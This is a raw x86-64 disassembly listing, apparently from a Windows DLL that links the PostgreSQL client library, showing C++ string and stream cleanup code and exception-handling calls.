cmp qword [rsp + 0x1b0], 0xf
cmova rdx, qword [rsp + 0x198]
mov r8, qword [rsp + 0x1a8]
add r8, rdx
mov rcx, rsi
call fcn.18006d9c0
nop
mov rdx, qword [rsp + 0x1b0]
cmp rdx, 0xf
jbe 0x180069150
inc rdx
mov rcx, qword [rsp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006914b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006951a
call fcn.18007bb20
mov qword [rsp + 0x1a8], rbx
mov qword [rsp + 0x1b0], reloc.LIBPQ.dll_Ordinal_15
mov byte [rsp + 0x198], 0
mov rcx, qword [rsp + 0x180]
test rcx, rcx
je 0x1800691c2
mov rdx, qword [rsp + 0x190]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800691a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180069520
call fcn.18007bb20
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x190], rbx
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x1c0], r12
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1bc], edx
lea rcx, [rsp + 0x1d0]
call fcn.180024080
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x1bc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x270], rax
lea rcx, [rsp + 0x270]
call fcn.180079724
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 7
jbe 0x180069292
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006928d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180069526
call fcn.18007bb20
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 7
mov word [rsp + 0x140], bx
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x1800692f6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800692f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006952c
call fcn.18007bb20
mov rax, rsi
jmp 0x180069300
mov rcx, qword [rsp + 0x4e0]
xor rcx, rsp
call fcn.18007bb00
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
test dl, 4
je 0x180069353
lea rbx, [0x1800dfd40]
jmp 0x180069368
test r14b, dl
lea rbx, [0x1800dfd58]
lea rax, [0x1800dfd70]
cmove rbx, rax
mov edx, r15d
lea rcx, [rsp + 0x120]
call fcn.180001ba0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x88]
call fcn.180002570
lea rdx, [0x1801cdf80]
lea rcx, [rsp + 0x88]
call fcn.18007e000
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0x120]
lea rcx, [0x1800e3338]
call fcn.18001fea0
nop
shr rdx, 0x20
lea r8, [rsp + 0x100]
lea rcx, [0x1801b71a0]
call fcn.18003d900
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
int3
call fcn.18008a6e4
nop
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x120]
lea rcx, [0x1800e3338]
call fcn.18001fea0
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
test al, 4
je 0x180069445
lea rbx, [0x1800dfd40]
jmp 0x180069459
test al, 2
lea rbx, [0x1800dfd58]
lea rax, [0x1800dfd70]
cmove rbx, rax
mov edx, r15d
lea rcx, [rsp + 0x120]
call fcn.180001ba0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0xb0]
call fcn.180002570
lea rdx, [0x1801cdf80]
lea rcx, [rsp + 0xb0]
call fcn.18007e000
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
test al, 4
je 0x1800694af
lea rbx, [0x1800dfd40]
jmp 0x1800694c3
test al, 2
lea rbx, [0x1800dfd58]
lea rax, [0x1800dfd70]
cmove rbx, rax
mov edx, r15d
lea rcx, [rsp + 0x120]
call fcn.180001ba0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0xd8]
call fcn.180002570
lea rdx, [0x1801cdf80]
lea rcx, [rsp + 0xd8]
call fcn.18007e000
nop
shr rdx, 0x20
lea r8, [rsp + 0x100]
lea rcx, [0x1801b71a0]
call fcn.18003d900
nop
call fcn.18008a6e4
int3
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
nop
call fcn.18008a6e4
int3